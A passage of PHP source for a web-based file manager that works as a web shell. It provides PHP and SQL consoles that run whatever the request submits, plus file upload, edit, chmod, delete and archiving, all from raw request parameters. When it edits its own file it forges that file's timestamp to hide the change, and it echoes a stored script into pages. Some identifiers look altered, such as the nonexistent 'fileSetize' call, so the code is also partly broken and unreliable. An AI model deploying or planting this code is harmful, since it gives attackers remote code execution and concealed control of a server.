url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK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H54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fms_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth_local['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in fileSet').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fms_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fms_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fms_config['upload_myfile'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth_local['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth_local['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $fileSet = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $fileSet[] = $file; } } natsort($dirs); natsort($fileSet); $elements = array_merge($dirs, $fileSet); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fms_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime_share = explode(' ', microtime()); $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php // Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus class archiveTar { var $archiveTitle = ''; var $temporaryFile = 0; var $filePointer = 0; var $isCompressedFile = true; var $errorList = array(); var $fileSet = array(); function __construct(){ if (!isset($this->errorList)) $this->errorList = array(); } function buildArchivePackage($file_list){ $result = false; if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->initiateFileWrite()) return false; } else { if (fileSetize($this->archiveTitle) == 0) return $this->initiateFileWrite(); if ($this->isCompressedFile) { $this->finalizeTempFile(); if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){ $this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp'; return false; } $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb'); if (!$tmpArchive){ $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable'); rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } if (!$this->initiateFileWrite()){ rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archiveTitle.'.tmp'); } else { $this->temporaryFile = fopen($this->archiveTitle, 'r+b'); if (!$this->temporaryFile) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->bundleFilesIntoArchive($file_list); } else $this->errorList[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->temporaryFile))){ $binaryData = pack('a512', ''); $this->saveDataBlock($binaryData); } $this->finalizeTempFile(); if ($newArchive && !$result){ $this->finalizeTempFile(); unlink($this->archiveTitle); } return $result; } function recoverArchive($path){ $fileName = $this->archiveTitle; if (!$this->isCompressedFile){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isCompressedFile = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true; } $result = true; if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb'); else $this->temporaryFile = fopen($fileName, 'rb'); if (!$this->temporaryFile){ $this->errorList[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unbundleFilesIntoArchive($path); $this->finalizeTempFile(); return $result; } function displayErrorLogs ($message = '') { $Errors = $this->errorList; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= 